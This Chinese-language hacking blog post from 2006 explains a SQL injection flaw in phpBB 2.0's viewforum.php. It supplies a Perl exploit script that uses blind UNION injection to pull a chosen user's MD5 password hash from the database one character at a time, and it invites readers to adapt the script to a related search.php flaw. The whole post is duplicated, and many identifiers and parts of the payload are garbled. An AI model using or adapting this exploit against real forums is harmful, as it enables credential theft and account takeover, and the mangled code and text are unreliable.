难得的PHP注入实例
2006-08-01 20:51
543 查看
在网上很难看到一篇完整的关于php注入的文章和利用代码,于是我自已把mysql和php硬啃了几个星期,下面说说我的体会吧,希望能抛砖引玉!
相信大家对asp的注入已经是十分熟悉了,而对php的注入比asp要困难,因为php的magic_gpc选项确实让人头疼,在注入中不要出现引号,而php大多和mysql结合,而mysql的功能上的缺点,从另外一人角度看确在一定程度上防止了sqlnjection的***,我在这里就举一个实例吧,我以phpbb2.0为例:
在viewforum.php中有一个变量没过滤:
if (isset($http_get_vars<post_forum_url]) ││isset($http_post_vars<post_forum_url]) )
{
$forum_id= (isset($http_get_vars<post_forum_url]) ) ?intval($http_get_vars<post_forum_url]):intval
($http_post_vars<post_forum_url]);
}
else if (isset($http_get_vars['forum']))
{
$forum_id= $http_get_vars['forum'];
}
else
{
$forum_id= '';
}
就是这个forum,而下面直接把它放进了查询中:
if ( !empty($forum_id) )
{
$sql= "select *
from " . forums_table . "
whereforum_id= $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(general_error, 'could not obtain forums informati '', __line__, __file__, $sql);
}
}
else
{
message_die(general_message, 'forum_not_exist');
}
如果是asp的话,相信很多人都会注入了.如果这个forum_id指定的论坛不存在的话,就会使$result为空,于是返回could not obtain forums informati
//
// if the query doesn't return any rows this isn't a valid forum. inform
// the user.
//
if ( !($forum_row= $db->sql_fetchrow($result)) )
{
message_die(general_message, 'forum_not_exist');
}
//
// start session management
//
$userdata=sessi $forum_id) /****************************************
关键就是打星号的那一行了,这里是一个函数sessi $thispage_id),这是在session.php中定义的一个函数,由于代码太
长,就不全贴出来了,有兴趣的可以自已看看,关键是这个函数还调用了sessi $user_ip,
$thispage_id, true)),同样是在这个文件中定义的,其中有如下代码
$sql= "update " . sessions_table . "
setsessi $user_id, sessi $current_time, sessi $current_time, sessi
$page_id,sessi = $login
wheresessi '" . $sessi . "'
andsessi '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )
{
$sessi md5(uniqid($user_ip));
$sql= "insert into " . sessions_table . "
(sessi sessi sessi
sessi
values ('$sessi $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql)) )
{
message_die(critical_error, 'error creating new session :sessi '', __line__, __file__,
$sql);
}
在这里有个sessi
creating new session :sessi creating new session :session_begin,就表明你猜对了第一位了,其它位类似.
如果没有这句出错信息的话我想即使注入成功也很难判断是否已经成功,看来出错信息也很有帮助啊.分析就到这里,下面附上一段测试代码,这段代码只要稍加修改就能适用于其它类似的猜md5密码的情况,这里我用的英文版的返回条件,中文和其它语言的只要改一下返回条件就行了.
use http::request::comm
use http::resp
uselwp::useragent;
$ua= newlwp::useragent;
print " ***********************n";
print "phpbbviewforum.php expn";
print " code bypinkeyesn";
print "www.icehack.comn";
print " ************************n";
print "please enter the weak file's url:n";
print "e.g.http://192.168.1.4/phpbb2/viewforum.phpn";
$adr=<stdin>;
chomp($adr);
print "please enter theuser_idthat you want to crackn";
$u=<stdin>;
chomp($u);
print "workstarting,pleasewait!n";
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$j<=32;$j++){
for ($i=0;$i<@pink;$i++){
$url=$adr."?forum=-1%20uni
20user_id=$u%20and%20ord(substring(user_password,$j,1))=$pink[$i]";
$request = http::request->new('get', "$url");
$resp = $ua->request($request);
if ($resp {
if ($resp =~ /error creating new sessi {
$pwd.=chr($pink[$i]);
print "$pwdn";
}
}
}
}
if ($pwdne""){
print "successfully,thepassword is $pwd,goodluckn";}
else{
print "badluck,workfailed!n";}
至于最近的phpbb2.0.6的search.php的问题利用程序只要将上面代码稍加修改就行了,如要错误请上www.icehack.com指正.
**richardlee** 中国红客联盟之红鸟飞翔
来源:enet.org.cn 网络安全培训
相信大家对asp的注入已经是十分熟悉了,而对php的注入比asp要困难,因为php的magic_gpc选项确实让人头疼,在注入中不要出现引号,而php大多和mysql结合,而mysql的功能上的缺点,从另外一人角度看确在一定程度上防止了sqlnjection的***,我在这里就举一个实例吧,我以phpbb2.0为例:
在viewforum.php中有一个变量没过滤:
if (isset($http_get_vars<post_forum_url]) ││isset($http_post_vars<post_forum_url]) )
{
$forum_id= (isset($http_get_vars<post_forum_url]) ) ?intval($http_get_vars<post_forum_url]):intval
($http_post_vars<post_forum_url]);
}
else if (isset($http_get_vars['forum']))
{
$forum_id= $http_get_vars['forum'];
}
else
{
$forum_id= '';
}
就是这个forum,而下面直接把它放进了查询中:
if ( !empty($forum_id) )
{
$sql= "select *
from " . forums_table . "
whereforum_id= $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(general_error, 'could not obtain forums informati '', __line__, __file__, $sql);
}
}
else
{
message_die(general_message, 'forum_not_exist');
}
如果是asp的话,相信很多人都会注入了.如果这个forum_id指定的论坛不存在的话,就会使$result为空,于是返回could not obtain forums informati
//
// if the query doesn't return any rows this isn't a valid forum. inform
// the user.
//
if ( !($forum_row= $db->sql_fetchrow($result)) )
{
message_die(general_message, 'forum_not_exist');
}
//
// start session management
//
$userdata=sessi $forum_id) /****************************************
关键就是打星号的那一行了,这里是一个函数sessi $thispage_id),这是在session.php中定义的一个函数,由于代码太
长,就不全贴出来了,有兴趣的可以自已看看,关键是这个函数还调用了sessi $user_ip,
$thispage_id, true)),同样是在这个文件中定义的,其中有如下代码
$sql= "update " . sessions_table . "
setsessi $user_id, sessi $current_time, sessi $current_time, sessi
$page_id,sessi = $login
wheresessi '" . $sessi . "'
andsessi '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )
{
$sessi md5(uniqid($user_ip));
$sql= "insert into " . sessions_table . "
(sessi sessi sessi
sessi
values ('$sessi $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql)) )
{
message_die(critical_error, 'error creating new session :sessi '', __line__, __file__,
$sql);
}
在这里有个sessi
creating new session :sessi creating new session :session_begin,就表明你猜对了第一位了,其它位类似.
如果没有这句出错信息的话我想即使注入成功也很难判断是否已经成功,看来出错信息也很有帮助啊.分析就到这里,下面附上一段测试代码,这段代码只要稍加修改就能适用于其它类似的猜md5密码的情况,这里我用的英文版的返回条件,中文和其它语言的只要改一下返回条件就行了.
use http::request::comm
use http::resp
uselwp::useragent;
$ua= newlwp::useragent;
print " ***********************n";
print "phpbbviewforum.php expn";
print " code bypinkeyesn";
print "www.icehack.comn";
print " ************************n";
print "please enter the weak file's url:n";
print "e.g.http://192.168.1.4/phpbb2/viewforum.phpn";
$adr=<stdin>;
chomp($adr);
print "please enter theuser_idthat you want to crackn";
$u=<stdin>;
chomp($u);
print "workstarting,pleasewait!n";
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$j<=32;$j++){
for ($i=0;$i<@pink;$i++){
$url=$adr."?forum=-1%20uni
20user_id=$u%20and%20ord(substring(user_password,$j,1))=$pink[$i]";
$request = http::request->new('get', "$url");
$resp = $ua->request($request);
if ($resp {
if ($resp =~ /error creating new sessi {
$pwd.=chr($pink[$i]);
print "$pwdn";
}
}
}
}
if ($pwdne""){
print "successfully,thepassword is $pwd,goodluckn";}
else{
print "badluck,workfailed!n";}
至于最近的phpbb2.0.6的search.php的问题利用程序只要将上面代码稍加修改就行了,如要错误请上www.icehack.com指正.
**richardlee** 中国红客联盟之红鸟飞翔
来源:enet.org.cn 网络安全培训